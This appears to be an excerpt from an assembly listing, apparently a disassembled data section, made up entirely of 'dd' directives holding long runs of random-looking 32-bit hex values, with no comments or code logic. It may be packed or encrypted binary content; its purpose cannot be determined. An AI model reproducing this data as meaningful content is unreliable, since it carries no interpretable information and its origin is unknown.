0F4017483h dd 7ED08925h, 481C027Ch, 68411F59h, 7077E4B7h, 0A045E925h dd 612EC5F1h, 0F7361290h, 0EBBA04DDh, 3BDBB8Ah, 0BD055493h dd 0D74068C4h, 2F9CA2A6h, 68A71C7Eh, 974401F9h, 0E986ABD3h dd 4A777771h, 60B4A5C6h, 11183216h, 8318758Eh, 3E582E2Bh dd 0F6D415BFh, 7E266510h, 0A2BDC050h, 48D63F17h, 7774B909h dd 2E0B5710h, 5F7D38E0h, 0C7D8982Ch, 3DE5D52h, 9E553B46h dd 2FD27B7h, 0FA6C7362h, 0B6F14CFAh, 927411Fh, 0A5106AB6h dd 790B361Ch, 80D2F706h, 740EAECCh, 0A00BD3Bh, 1D7F258Ah dd 0C2EDE927h, 8F94F733h, 706342BDh, 30B23BE4h, 0C98905ADh dd 98C94375h, 48652A25h, 0CE188D75h, 68E9122Fh, 0EFF2604Eh dd 0B481944Fh, 0E4B2972Dh, 70D0B625h, 0C5564A40h, 0ABA2FBB7h dd 0E010F83Eh, 0C8D75F97h, 0F9C52567h, 0D71D9282h, 0E49CF691h dd 0F5A85DB4h, 4E9725A1h dd 0F8534F94h, 31694E98h, 2A21803Ah, 414B8268h, 9A76278Ch dd 0D5F60112h, 0CD80C5FEh, 3AF5CC90h, 0A0B4501Eh, 9FD9C44Fh dd 0E502BC9Ch, 0FD2760E9h, 0F61732D9h, 7CCB1204h, 25C5510Eh dd 54A890CDh, 2940EC01h, 13FE02B0h, 0ABBCE9D6h, 6EEA624Bh dd 54F0B522h, 56FC51DAh, 28416086h, 0AE97507Dh, 25149391h dd 94DCD379h, 179DA211h, 9682AD25h, 2C8E6E4Ah, 0C797F81Ch dd 0A0EE1609h, 0FA23DF30h, 513F9809h, 840072Dh, 27D97EE7h dd 0A358D160h, 136BC026h, 1210E381h, 3B6015F1h, 5E43659Dh dd 0AC43C1FEh, 0FFB36E1Dh, 72F2EFD2h, 0A8B0E9C4h, 65B11D17h dd 271B90C8h, 0D102225Eh, 61612447h, 0DA5D595h, 5A203CF0h dd 86AD62C2h, 0B8A29565h, 875934DEh, 2585388h, 972AB7BEh dd 8B09E055h, 3A07300Dh, 0AD28C558h, 0C9204B98h, 5D0995DBh dd 43EFA0D5h, 0A2925886h, 3EA70592h, 0A74D3A8Bh, 2714F711h dd 0F0F55EDh, 0EA4A0F65h, 0E87FC7E5h, 8B2F256Eh, 62CFD7B0h dd 0E9D268AFh, 0DE9AB5D5h, 4802898Bh, 0B600E448h, 0B0F088CBh dd 9E282AFDh, 152A2588h, 0DE2DB066h, 54AC5C9Ch, 632D76B7h dd 0DBE76859h, 7810311Bh, 21142D3Ah, 874BFDCAh, 437DA9CCh dd 1342196h, 40BABF96h, 1BDB2DC5h, 5007DA8h, 221762AAh dd 0BDEA8DE9h, 0EF67ECF4h, 0CAD2FA57h, 0B71477ECh, 0B5515305h dd 0BDC5E9A3h, 0A93C66BDh, 0F1849F74h, 0C7D68157h, 52C93E75h dd 56EE4DFDh, 9A4A060h, 0E33055B4h, 2052A80Dh, 0C50EED09h dd 0C7E8B652h, 0EE935CCEh, 4FF8D20h, 0FE299559h, 0EB3A0D9Dh dd 25E96738h, 3E1057A3h, 2814ECBFh, 10A23E60h, 5F25A872h dd 780C1002h, 0B7F10ECBh, 0AAFDFBCAh, 2DBFD265h, 8A0970E9h dd 0EC52CB40h, 9175D3E8h, 6D7105FEh, 84407EEh, 0BBBF61F8h dd 7862D163h, 0C7203DD5h, 0F4A6A831h, 98CCE684h, 8DE02F2Eh dd 0C2B09A14h, 46C6EB27h, 22C12409h, 0E4D79277h, 212D5C92h dd 83E719F9h, 0D8950706h, 5EC595ADh, 74686D8Bh, 0A3FC69C6h dd 56456ADh, 0BC42E958h, 0FDBB0004h, 214C4107h, 5B6BCBDAh dd 12DEC104h, 0FD1D01EAh, 0F383727Bh, 4C81D849h, 2DA00760h dd 73AC829h, 9B885A3Ch, 0D3DD6BB3h, 29BC0275h, 78295F6Dh dd 5DF49500h, 520E0E02h, 47A36855h, 83AB6B25h, 59E74B1h dd 140E8369h, 1484AF4Fh, 9550710h, 22FE6853h, 0DD12E95Bh dd 3502BFC4h, 0F73E9924h, 0C35260D6h, 0B78AAC20h, 2F896456h dd 501A55ADh, 3DF50752h, 40DD80A1h, 20547D9h, 0EAAE2CEEh dd 0E0F7C121h, 2E6D9229h, 20F31E3h, 3F7B5C12h, 21B2B055h dd 0CFD804A0h, 0EE446BE9h, 55601B28h, 0C04143D3h, 3325E72Ah dd 6F11F9FBh, 0A45AC73Fh, 8F12166Ch, 0C4AE4516h, 0B59F8419h dd 8BB972E4h, 2250E051h, 2D0100DCh, 7E8C3F93h, 81CE8C1h dd 8B715E68h, 0BE045B35h, 3FF04504h, 76A02985h, 94504804h dd 13CECB10h, 0CBAA595Fh, 0AF680C68h, 97055341h, 0EF5C3D84h dd 68E2F6BCh, 0C4E89D70h, 857E774Dh, 0F4E059DAh, 41354E10h dd 0C449A251h, 8BF4813Ah, 31E9DF92h, 2F6A5DC9h, 9086955h dd 0BD6A20F8h, 2371EE0h, 2926B861h, 70F7DFA3h, 31E12705h dd 956FDCDBh, 20744C68h, 2E6806B0h, 9648DB06h, 341BF4Bh dd 25566D74h, 0B951A440h, 0DC3D18ABh, 535CB215h, 5577720h dd 63A65F6Dh, 9AC6BF41h, 13607C20h, 0B489B22Eh, 59DFAA92h dd 0CF449B03h, 0E280001h, 0B87D5F29h, 9A247EAFh, 7827D34Fh dd 235E3C7Fh, 8501799Dh, 944BE953h, 0D7ADFAFCh, 0BC5FAA16h dd 35E9BCF9h, 0BF410EEEh, 226FAC80h, 0DC1D6C3Fh, 4318C11Ch dd 0E904D9F7h, 0B2476ABDh, 5E8F01F9h, 205D63D0h, 60B7CE3h dd 7C5B6221h, 0BD550004h, 18D260A8h, 0E73E912h, 85870DFDh dd 5177092Ch, 201AC237h, 25EA79F7h, 90F8F77h, 1F445F44h dd 2A37E912h, 5EEF58A4h, 9301BF04h, 3C62140Ah, 6343D8DBh dd 0F87B5E8Ch, 46C6802Ch, 0A29ABCAh, 1EAE9FBh, 4AC78190h dd 0E5408E99h, 164F62F9h, 3121A8A9h, 296241DDh, 0D734591Dh dd 7A02AB02h, 0D814F4F3h, 64029733h, 0C67D1012h, 0BE8E1CFFh dd 0C0E06FEEh, 225FEB61h, 0B14E1CADh, 0AD0B04AAh, 0F62D84B3h dd 20BD8DEAh, 28406F2Fh, 6BEB557h, 8016519Ah, 1D126DEBh dd 0C0B4FD80h, 0F51B751h, 0DCE7DD6Bh, 0E2C5FE0Fh, 0F433E9ECh dd 0D2F70360h, 0A410E2C1h, 6809D87Bh, 327F6FAEh, 657B7427h dd 0F6DBC55h, 4E401859h, 0B8E9A2CDh, 0FE36C9D9h, 3C7E96Eh dd 0D1F6CB86h, 0D926A730h, 0B4500008h, 1F6866DEh, 8B37E932h dd 9B93B4Bh, 2F417560h, 9B466E5Bh, 1224C9Dh, 812FC3B9h dd 2DCD2178h, 109F12ECh, 0A2E667EAh, 3F48215Ah, 171239CDh dd 0A412418Eh, 0EFCC8401h, 2041EA31h, 0A53577FDh, 7F38A30h dd 0D14CCE2Fh, 37B1E2E3h, 9FC7F9DFh, 0AD592668h, 0C701ECB8h dd 0A60BACB2h, 0F17A4C05h, 7173030Ch, 0E3B13590h, 5A85D00Dh dd 96B47EB7h, 48D01431h, 0A3659D07h, 1F89E22Ch, 2C4D4757h dd 32D04258h, 25FBB800h, 0EB274A17h, 0F705E7D2h, 685EFC20h dd 2D9C59B1h, 3F6F162h, 0BA94C888h, 6BD360F4h, 0EA7418C4h dd 27417EA7h, 0E53A89D7h, 0D990A7ADh, 66BF86F6h, 71A22086h dd 7E895F25h, 4ADA6082h, 99B47DC4h, 16B70720h, 87CD2AD4h dd 0BA3388CCh, 0C08182A9h, 0F2E559F4h, 450AE854h, 0F581F992h dd 653F1A83h, 9F69B9ECh, 564CE1E6h, 47CF31B9h, 568AD430h dd 81B62B90h, 803109F3h, 69FA8012h, 2959281Ch, 0BA5203DFh dd 70F83345h, 0A160E2F2h, 0B981CB5h, 3B3D0E1Ch, 8F1AE6A6h dd 0A716F6A1h, 4E270ED8h, 0EB47D695h, 5B0043D6h, 0BA16545Fh dd 0ABA016A4h, 1FA0A9E9h, 0FD0F0DC5h, 39E8463Ah, 0BCBA4BA2h dd 68640CAEh, 6580BE1h, 0DBE9D031h, 3BF16463h, 0D9B92C65h dd 6706524Ch, 0C40C039h, 9E7ED804h, 68A8092Eh, 9E40192Dh dd 640178B9h, 0FDBD0D04h, 31C4D744h, 0D5E92ECDh, 5B668091h dd 0C8FED8F6h, 88C13416h, 80B02CB8h, 0E7E69AEFh, 0B5519E00h dd 0C0DDF619h, 0FE0213EDh, 0E56CC8CDh, 41E92A16h, 755B5FC2h dd 286226D4h, 9EE77B2h, 920B1FB1h, 7CCEDF7Bh, 0D48B1ABDh dd 8B471D28h, 4EC061AAh, 0D7516012h, 407546ACh, 0B6525902h dd 0E0CE805Eh, 0B54A26F1h, 319002D1h, 0BA1CAE85h, 0A3B60577h dd 4609717h, 45711917h, 0D84ACEB0h, 4BDE3CE8h, 1155B863h dd 0FC3FC16Ah, 0FD5E2F3Bh, 0A9D78612h, 0ED237768h, 0EA856B91h dd 6450DCB3h, 0F48880A8h, 48675A49h, 0C5257DFFh, 247DF30Ch dd 6A36024Ch, 0DF7494h, 0D756AD94h, 98FF827Bh, 0B0D331DCh dd 858D8A93h, 13FE2390h, 0CEB7AF5Fh, 6A7908DBh, 66E92E1Eh dd 0DF087F64h, 0E380008Ah, 11B252AFh, 4939CAECh, 0DAF680FEh dd 0E99FB151h, 0B4F74B36h, 1C624F5Ah, 0EBF58BFCh, 63FCB1FFh dd 0DD687885h, 0AF31EF75h, 0E9017E9Fh, 0BAE72582h, 420DEB30h dd 1942DF1Dh, 6003E8C9h, 598074A5h, 4AA7EE55h, 20BC8960h dd 367FCC7h, 0AA7A563Eh, 5C5AC22Ah, 0BAA4CDE9h, 0FA1ACECh dd 0A04270AFh, 594FA1BAh, 57613DBFh, 5613D557h, 775A0E2Eh dd 0C702F978h, 9098B071h, 0CF5889B7h, 0F5290488h, 5EA8EA5Eh dd 0C33B0192h, 3F04CB20h, 3A842D84h, 0BAB413BAh, 80EDF373h dd 9D028010h, 0E9055279h, 40BBA5FEh, 0D57BAC40h, 5C90581Eh dd 24D0F0Ah, 839DB56Ah, 3367D22Dh, 70AD9F7h, 7085A1BAh dd 9C93EACAh, 5955303Eh dd 0B1F1812Ah, 468D7A1Fh, 0CD8E648Ah, 3D2CD598h, 5265B4AEh dd 0D1D2B58h, 58B07071h, 9D612CE9h, 40BF6E6h, 2A1DEE17h dd 110F173Fh, 0A4F5EEE2h, 44ABEBC7h, 0EE4B909Fh, 5EDB664h dd 410F1C93h, 1143B48h, 41EFE1CFh, 3F94E908h, 95EE509h dd 0ECE25DB4h, 10433D40h, 2973D80Ah, 1A1CC4EBh, 75241F49h dd 0F8239E0h, 0E975030Bh, 9833A935h, 0C0772E7Eh, 3754EFF7h dd 0E0A208BDh, 84006BF6h, 56B5EB1Fh, 2EE12CE9h, 25689CBEh dd 4264FC51h, 2EBA03B1h, 54A0FA0h, 89E31EEFh, 762550D2h dd 0B08AAA59h, 9DED9140h, 36DCEEC2h, 0D11C09CBh, 0CD74BDAh dd 0BFBF2E3Fh, 292E7F5Ah, 8910D4F8h, 0AD3CC05Ah, 0E34B6A1Ch dd 22A80FAEh, 96CCFA57h, 57CF4060h, 0BA685502h, 423C7215h dd 13F2D61Fh, 987F658h, 3075A768h, 24030110h, 2D5715FEh dd 0E9F787F7h, 8DEE5984h, 0E4AC3B8Dh, 0E94B01C1h, 3825C96Dh dd 0F63E6081h, 7E639526h, 0C95B9EC1h, 9C0EDADDh, 8C8925F8h dd 68BE4540h, 0C2835681h, 4E83428Dh, 57C3FBFDh, 4A9D8876h dd 0F25AE9h, 3248BD8Ah, 0BC905E11h, 0FCEB8995h, 0BC61F241h dd 18D142ADh, 330B2152h, 232857Dh, 90C86B41h, 0B279B6FEh dd 88EA9747h, 6286F37Dh, 0E45F7DE9h, 23730B52h, 0E874142Ch dd 0F6C62E04h, 0EAF0C5AFh, 0B8D615E6h, 3613ED7h, 62E93EFFh dd 0C1540C1Bh, 0D41C03E2h, 0E0237817h, 9B4053BCh, 0AC3AE15Bh dd 77C2B2DFh, 0F52AD8C4h, 0CDDE140Bh, 1265EADCh, 0B57644Eh dd 26606866h, 29EE07D2h, 0C49B1E58h, 0B9EACBB5h, 5F05922Eh dd 48FEB1A3h, 5692C18h, 5F942926h, 666F72C0h, 34B70F53h dd 0F7EFFA28h, 2FD04D79h, 0BC7BB204h, 0AB9219A8h, 0C680FDD0h dd 0E506C3F0h, 2C27F788h, 55B03BFh, 4E84B0CEh, 0FAEB4E81h dd 0C3297806h, 5F564F50h, 5893B994h, 64DA235Bh, 0F3B56D50h dd 897AAE0Eh, 8D94802h, 10EB932h, 0C1BCEBDAh, 0B55C5889h dd 378709EBh, 0E9D842EDh, 0BD133D20h, 634AC876h, 0B44BAE02h dd 0C0D7700Ah, 99CF8107h, 7313FB68h, 85286E9h, 0F61778EEh dd 0C0F74B5Ah, 0B9C5F24h, 0FF300250h, 0D076643Ah, 38355800h dd 503C6203h, 504B945Dh, 68175756h, 30E325B9h, 813C2A00h dd 0A32DBF1Ah, 89533325h, 99F59682h, 3E909A6h, 52555B26h dd 28381706h, 13F15F31h, 0F6108DE9h, 0B2B1F94h, 303175E7h dd 2FC68B3h, 875D13B9h, 80F77E6Bh, 393F2144h, 224DF0E9h dd 5D80028h, 6BDE5BBBh, 35FF0E2Dh, 0BAB22091h, 68794B22h dd 0EA06BB86h, 0FA6B5444h, 266314F8h, 0F909E435h, 2A8E6266h dd 0F4A3788Bh, 0A6DE082Ch, 4B2F797Ch, 0D9E7BB01h, 883B5496h dd 42B7738Eh, 285957BFh, 5D71CA52h, 5B0C29E4h, 0C70216Ah dd 54E1689h, 0C7A54A77h, 5F0C3408h, 7B9A1D14h, 68FD7E02h dd 7BFE43DDh, 0FBE957C0h, 14579762h, 8202BCEFh, 54614FEBh dd 68F3C1C0h, 0E6046725h, 3DF818BEh, 0A9EE7AE0h, 5B20DC48h dd 7FEB7AD2h, 0A252B7Ah, 7979C88Ah, 278C2676h, 810245Fh dd 4016D770h, 136449A0h, 4311816h, 13D67FFh, 0C208A134h dd 4130C830h, 0B15ACFBAh, 9C7E880h, 294D13C1h, 87210CAh dd 0D6895601h, 2B2D38E9h, 5C051DCEh, 0D335868h, 0F00A3E7Eh dd 7B092C77h, 8453F10Ch, 31065DE4h, 669D9CC1h, 0B44DB952h dd 0EC5F840Dh, 39EF4B67h, 2EF2C7Dh, 1F7F0D86h, 0FBCC4B01h dd 23891209h, 53DFA49Bh, 72DCBB07h, 93D23DA1h, 97507230h dd 0B584C829h, 71A7AABCh, 49E26227h, 50B3A57Dh, 51E95C20h dd 621BA0ACh, 3CD22537h, 0D126B7D6h, 19948A39h, 0C31CE736h dd 174B5345h, 500135B8h, 6661DB68h, 0C7512014h, 6B270C74h dd 26C25D1Ch, 50E1080Fh, 835C7FE9h, 3F89F36Bh, 6831D276h dd 0C01657A7h, 1B7C68B0h, 72C652DBh, 2C0F7AEEh, 12D0F289h dd 82E7BFFAh, 2FE96940h, 3FE81CDCh, 0DB9FE0B2h, 58500846h dd 956E77A5h, 3F4AA8FEh, 0C0E43EB8h, 0AC71B7AFh, 4805097h dd 4951E581h, 0C57B8072h, 92244F31h, 3E045ED9h, 40C1D30Ah dd 0FA045616h, 2B19AEE8h, 805E9015h, 3DC68173h, 0B5B1DCBh dd 207A9A2Dh, 0F028AC82h, 5D098B08h, 0E957CBBEh, 9E661889h dd 401AF113h, 3DBE56F0h, 5924BB35h, 530DBE31h, 4989C883h dd 3ED462A6h, 976D7AC9h, 848303FDh, 0BE234AEEh, 84A58CCDh dd 2085CE5Dh, 0BBA068C5h, 513BB3E6h, 0F5ED2D80h, 0E3E92182h dd 205674C9h, 22092B5Dh, 40892010h, 954E2953h, 0EDE39468h dd 7B020C99h, 50EDC07h, 3C98C006h, 3A40D603h, 4D9F90F0h dd 0FB58C740h, 0DC7A252Fh, 2E5A0881h, 0DF3090E6h, 3C7DBBFBh dd 0F70EA309h, 36F07D3h, 3892AFF5h, 0CA7855BDh, 0B092F795h dd 25CBE3A8h, 55173071h, 2B538E09h, 8053010Dh, 0B82FDBC2h dd 0E96BA0DAh, 58E1A8F2h, 6FDC629h, 8A5A12C7h, 698860F0h dd 78580854h, 0DF6B27B9h, 98A29A46h, 829993DDh, 0AFC0B14h dd 174DF62h, 66027768h, 538F07DAh, 8CD26B6Dh, 0E90DA13Eh dd 349346C7h, 0A95EFE05h, 723DD08Bh, 57042F3Fh, 0B0B819D7h dd 0DD76A1AFh, 0FCE133Ch, 110249BDh, 4A1BB107h, 1521C975h dd 20D813A5h, 6B49E92Dh, 314B176h, 94E1F37Eh, 0DE6885F1h dd 4B20B3EEh, 0BBCFC4EEh, 0A1969EE2h, 6DAF3EA0h, 5C0D9294h dd 7EE281E9h, 0BC5F58E9h, 89E2A5FDh, 2D3F567h, 3786A310h dd 72B73413h, 5DF9042Ch, 0AAC1010Ah, 0BEE5A3E8h, 0AB4F78F7h dd 532901CAh, 0DD20384Dh, 0EAB1FD97h, 2AE8C1D2h, 494D53C8h dd 0F83B5F97h, 2C75F596h, 8240FE11h, 48FDECACh, 0D9813A03h dd 61121F67h, 133D003h, 0B503265Ah, 0E6379236h, 0A07E3030h dd 6FB5C124h, 9F4FA0Fh, 0A998A5CBh, 23FB7B9h, 507E080h dd 17496A1Fh, 74C32927h, 0C5EBC0DDh, 487EFA09h, 0D65340DFh dd 61A19797h, 3AECDB79h, 0EEC3C1C1h, 0F0A516DCh, 0A798D601h dd 68550880h, 195E6127h, 8A85962h, 30D54A0Dh, 0BBC6826h dd 0BF1C8593h, 85ED6372h, 5482AF93h, 84215720h, 97190668h dd 0FF09B708h, 53285754h, 0CCF069C6h, 381E7EFDh, 4BBA0C74h dd 6EDC2862h, 0E90EEF98h, 82D4978Eh, 90F272AFh, 49C6401Dh dd 0A543B4A0h, 137AE53Eh, 0E5CA230Eh, 0D982AF4Eh, 75786A2Fh dd 0E9D88CD4h, 2733BA90h, 0F8990C68h, 0EBA1FBBEh, 11E3F470h dd 0B3021F9Bh, 40D4FA7Eh, 0D067C5DAh, 11209868h, 5E5C113h dd 1F03AA08h, 7C048959h, 0C2D955h, 0B94BF681h, 4BB0D076h dd 69B23A4Fh, 24406882h, 182849ACh, 92114D9Dh, 1D118599h dd 4218CBB2h, 36B0C951h, 82509168h, 0DC74E3C2h, 6DEBC784h dd 0F760D887h, 613D3020h, 707D1801h, 0D28EFA06h, 0F9CF9AA2h dd 60090841h, 12C6EF9h, 820FDFDh, 0EE0B5F7Dh, 0FD5DACE9h dd 0EA5F911Ah, 885ADF0Ch, 46800C4Eh, 2D77B4B9h, 7CDE6E3Eh dd 74F40894h, 3C1A3012h, 9A0415FCh, 0AE68C4F1h, 0D9894404h dd 5A5BD782h, 2ECE0721h, 7E5A149Dh, 7ACFFFF2h, 4D685C05h dd 54AB324Ch, 95F966Ah, 5A6F57D2h, 1D16EC0Dh, 2E6FB530h dd 28E373A6h, 198F25BDh, 0D898B4D8h, 684A3A0Fh, 2C13B767h dd 0E9CB78FAh, 43A1554Eh, 12D7DA7Bh, 0F9BDD168h, 0A30031Ah dd 88F85BDFh, 672CD10Ch, 2B0F72Fh, 489748F7h, 2732F6BDh dd 0B3F05E9Bh, 4615DA25h, 0D6F32DF2h, 0B062E8DEh, 7F487844h dd 5E932683h, 26FEA893h, 60BB200Ch, 2E5C08Eh, 2250E918h dd 985AD18Bh, 584F73A3h dd 97F3501h, 5F4B2711h, 8A0D5D4h, 8B473B5h, 35005684h dd 0C1B464C8h, 800BB031h, 0E57EE1B0h, 0B6D70920h, 39BE4274h dd 15D64C75h, 9708D368h, 35D1E90Eh, 8AE6FB12h, 96BB327Ch dd 0EC604B36h, 0EF4B4073h, 1746EF8h, 874FE243h, 0B0D7F7F9h dd 3828B208h, 0C4E6033h, 79F5C68h, 36BF30C3h, 0F1600258h dd 52397418h, 7AB47057h, 0B24405F3h, 0C1DD8923h, 7E661C82h dd 99681B3h, 75E02EB0h, 0EB0F8058h, 66F328E0h, 4F224F3Ch dd 4054F964h, 184110C4h, 0ED79E113h, 27E9CEEEh, 0B58C665Ah dd 0F727F297h, 0A5F61B91h, 0B516F7B2h, 0DBAA5B4Bh, 0D3E716B5h dd 0B54135A2h, 24F60960h, 20FF4142h, 0B736C002h, 0E99D190Eh dd 0A03CA52Dh, 0A04AC09Ch, 70BD0123h, 31394546h, 46677BCDh dd 0AE160BD4h, 95AAD1C5h, 4CE81F0h, 0D6F239A1h, 2284D41Ch dd 16EF5326h, 4C9479Bh, 0D6B2E075h, 4A5EB450h, 924830F8h dd 45921E6Bh, 0A35FFE63h, 0B38A74FBh, 0E7B90331h, 1F231358h dd 82A71DE0h, 26E968DCh, 54690A5Eh, 52FEA7DAh, 3031D827h dd 0F2B9E116h, 0B4836CFh, 8DE05FACh, 0E4BC09CCh, 70D7314Eh dd 522B0123h, 0A2E95ED8h, 0C2398786h, 0A0248F07h, 9888E0C4h dd 29589501h, 0F02CCB4h, 0D53F0684h, 0BD9ED318h, 3FBEE7BDh dd 0F32AB016h, 0C00690A5h, 7406A6F5h, 2BE2A045h, 22660E3Fh dd 5DD649E9h, 27C08B51h, 8AA985Dh, 0B29F2FF6h, 3830C84h dd 184C8D68h, 5F51327Dh, 1618B5C5h, 0C26A3BA9h, 18F8060Dh dd 0FDDA01E9h, 5354C50Eh, 0DCAF1EAFh, 0A4854781h, 0E409134Eh dd 25AB56B8h, 8368C5F5h, 3F037DBDh, 13B9CFF0h, 3DBCEE5Ah dd 1228172Ch, 0B86A409h, 0F856DC40h, 162EFE9Fh, 1465E66h dd 3F4863D7h, 4F127ED7h, 0B2A2FAh, 6D60032Dh, 9C97E93Dh dd 0FAF9926Eh, 48D5A32Ch, 56A261B5h, 0F717295Ch, 0C0BD2709h dd 246D68B8h, 97C377Ch, 0BD104AF9h, 0DDF24E05h, 0C6B2C895h dd 0A7682651h, 6397BE8Dh, 275BFD37h, 7CCAF8EAh, 0B5BC2F5Dh dd 4118E9E6h, 654C1435h, 5FA4A461h, 76D6CA8Ah, 15EEE4Ch dd 1205E31Bh, 0B6A3E7Ch, 0B9455C54h, 9C9B08h, 0CE6A21BAh dd 77F6422Dh, 80204961h, 91620BC3h, 82274F7Ch, 0E8775A01h dd 0B51C6D05h, 0E37F2CCAh, 7ED9D258h, 9C510E81h, 8A0CEAE5h dd 6C5F7BB7h, 0CE556E09h, 422B25F3h, 975DC6D5h, 9C680880h dd 3D4A9B01h, 0FE810AC7h, 163AC264h, 0EB12135Bh, 0DA0D3A53h dd 0D604A9F4h, 4C3A6BEh, 0C082B151h, 5E0651C6h, 8718C202h dd 3F175609h, 0A0DE8325h, 0B7656850h, 0BC8BF1h, 3A530D1Ch dd 0CF4706E9h, 0DC64581Ah, 199AF343h, 5F5CA617h, 2513463Dh dd 0C6CEB83Bh, 7102BEFh, 68364C05h, 63DF575Ah, 7CFA7F44h dd 594E2BF0h, 6C683302h, 821F711Ah, 2FB215ACh, 3EC930E1h dd 4EAD356h, 16E1BF18h, 1120862Dh, 0D2171488h, 9235E611h dd 1266AEA7h, 8B575F0Ch, 34852681h, 9EA06813h, 65BA5C44h dd 0E5F815DEh, 0AA03FF5Bh, 978D69C3h, 5532A3D2h, 84AD754Fh dd 0A1A0EDDEh, 0FC20E347h, 3B8F002h, 199CF648h, 4B2CFFE9h dd 16279A5Ch, 985F9564h, 0C5B6F660h, 0C003E395h, 0D52C4813h dd 29BA25h, 7728C227h, 0E98D15D2h, 0EC4EBC8Eh, 0C74F10CFh dd 2064BE25h, 0A435530h, 1EB65266h, 0D7F1883Bh, 0BE0952A6h dd 0C10E159Bh, 0D05A0AE9h, 5A277BF9h, 2A9E2585h, 14EA6C5Fh dd 9D1187E9h, 93A4B5A7h, 1BB1AD8Ah, 882750D4h, 56BD592Ah dd 0B1D585Bh, 5F5B2AC9h, 4BEC9B8Fh, 0F40AE55Dh, 9F3DD009h dd 0E072BD02h, 28DEC07Dh, 0ED72822h, 7C89B5F7h, 4758A1DCh dd 2CB83C9h, 40A8E6BEh, 5C9D59CEh, 0E7D5CB96h, 0B8C625B3h dd 0F89D909Ah, 0CDC95E46h, 5AFA4141h, 0B2A88253h, 6008972Ah dd 2C793A81h, 3D14899h, 1D806ED6h, 0DFB6C7E0h, 7C8860E9h dd 2D82EB59h, 45360FD9h, 83B40FC2h, 0F70CB546h, 11255C40h dd 33405877h, 0FB4AD7F7h, 3E4620C9h, 3105CFBDh, 0FE414C59h dd 0D9BF9013h, 0C727604Ch, 6BC66D13h, 0E9E4D1EFh, 899D65E5h dd 5C4F42DEh, 28D862ECh, 980B9657h, 5D630CDAh, 8B0C70FDh dd 18305B0Fh, 8E92401h, 19BBB3E0h, 70C71EA6h, 0B9D489D8h dd 90D946ABh, 7B6027E1h, 45CFCBDEh, 69F962E4h, 8E5C007h dd 15893FD0h, 0AD3ED7F8h, 4EA55D68h, 0BB0AE38Ah, 27906C4Ch dd 4345397Eh, 0F8A86FC5h, 0D54CA24Eh, 0F0599ED3h, 522EEB24h dd 6C9BA087h, 0D83000F9h, 0E886F2FEh, 0FB9F4B2Ch, 4EB14831h dd 9807BA3Eh, 0F2332AE2h, 9D21B7C2h, 413F61E9h, 55CFF621h dd 0DA70A877h, 5B4AD620h, 0A12D1431h, 0B205414Fh, 61D60FD9h dd 9FF82E33h, 2CFCA061h, 488070E4h, 0B07E6B41h, 0D19D21CAh dd 6AB0E22Ah, 30FA05E9h, 3509F636h, 0F75F45E5h, 0D569C253h dd 7EE99A51h, 4D8353C9h, 0DFBD6402h, 0FD3D1B3Bh, 536BE883h dd 47F5FD02h, 5E194285h, 0C8890679h, 57B07759h, 0CB535067h dd 8DEB06BFh, 9B7F0951h, 3404B0BBh, 6817A05Fh, 4E6EAA38h dd 5E639BEh, 84B3BB94h, 0DDFDE9C2h, 4F0B44D2h, 80171210h dd 0FE44E8F7h, 4B209751h, 0C41BE2E7h, 204F2E30h, 0C57C135Dh dd 0FB540EB0h, 406F7944h, 0FF5A10D2h, 0D649B751h, 1FEFAF2h dd 56008969h, 0E07C2FB4h, 51A273E5h, 1BBB0478h, 0D15D431Dh dd 0E0503E44h, 0F33E8922h, 233585Eh, 3A8D2555h, 2D467021h dd 435C450Dh, 0F2D96252h, 20060B4Bh, 0A8850C39h, 0EFCEF4B3h dd 89A0CDBAh, 62E73158h, 40FA3F0Dh, 0F5D94801h, 0B59352Dh dd 91BC4945h, 0E9A0BB5Ch, 1AB7C579h, 3389D77Dh, 0F702C271h dd 0D77068F1h, 5152606Eh, 36DD8527h, 5DCBA4A9h, 687003D0h dd 7EB73370h, 7AE9C17Dh, 0F5317B27h, 5A29E21Dh, 806853C2h dd 7A23F477h, 5648BB96h, 125400E2h, 0D5F76266h, 0BCE9394Dh dd 939B5C5Ah, 1E2CAB0Bh, 554029E9h, 53579EF6h, 3C1AE1BEh dd 748CE11Ch, 6EC4796Ch, 56F1413h, 591E6642h, 3E19D0BFh dd 325F02F2h, 37FC6646h, 2FCD5293h, 32E6BE93h, 0DFC75F25h dd 580A53A2h, 62379D68h, 321D863h, 295DBD12h, 75D22701h dd 80013176h, 0CA3051F1h, 902E02E9h, 0F461BD62h, 8697A37Bh dd 988089B8h, 0BDAE7020h, 6BBF3819h, 0BAF9F5E5h, 1220D935h dd 5004B60Ch, 0B86220E9h, 0E1D7C677h, 8A2F5C9Dh, 9252739h dd 521676ADh, 1607A55h, 7477DC2h, 52E04CE9h, 0CDF95F17h dd 9490E958h, 32F24C9h, 7B3A78E7h, 0B535C08Ch, 95089727h dd 2FFCEEE9h, 7D2219D8h, 639A2A06h, 328B816Fh, 0DBBD00D6h dd 434AD416h, 0AE58F2B8h, 2E4F9904h, 0CF2CFA37h, 78583A42h dd 0E9C50982h, 2C481D11h, 8D2C33D3h, 0A4163035h, 78E3F784h dd 801FB102h, 0E08463C1h, 0E1C2AABDh, 53136088h, 0BAA879B3h dd 0F31E2502h, 0F288C47Fh, 0A7FAB7D2h, 7D8EF205h, 51C229D8h dd 70495D5Ah, 5FFC40Eh, 1BACC1B5h, 0F8368C2Ah, 6DD8481Fh dd 0F7A5455Fh, 0FF972594h, 5E3AA90h, 0DDEB24D7h, 0F28764E5h dd 4E871040h, 76C8FBEBh, 86EA5A29h, 68551A2Bh, 4423350Ch dd 0C123C3F0h, 62F03FBh, 25D0F402h, 0C281215Fh, 0C07ABA4Ch dd 0DCA0FD19h, 92E9E608h, 0C2830972h, 186A4287h, 0A35FBF00h dd 76310D24h, 93C7BDFAh, 0D519E905h, 4FB8849h, 82B37555h dd 372ED713h, 0EBD4854Bh, 0F166A809h, 0BA68E2E3h, 0D9270F7Ah dd 70E3DC36h, 555E5854h, 0CE0E58F6h, 13561B57h, 3084BFDAh dd 0E149ECEFh, 0F9805FE9h dd 48643305h, 0A35B6821h, 0B902FCA3h, 18A6588Dh, 680510D6h dd 105E15B5h, 0F7E90671h, 0C1D512CBh, 8E02AEE2h, 62CFAAEAh dd 0C6895D6Ah, 6003D97Dh, 0A233F1BBh, 0A0CA0550h, 0D0833B3Dh dd 4217CAD6h, 34FB1D76h, 8791AEB5h, 0A9D4C7FBh, 0A27620E9h dd 0DF735176h, 0F653CEBFh, 440B5E4Dh, 0A83497C4h, 76A9D62Dh dd 12D53125h, 0DF177D0Fh, 6424B220h, 0DFC9C4D1h, 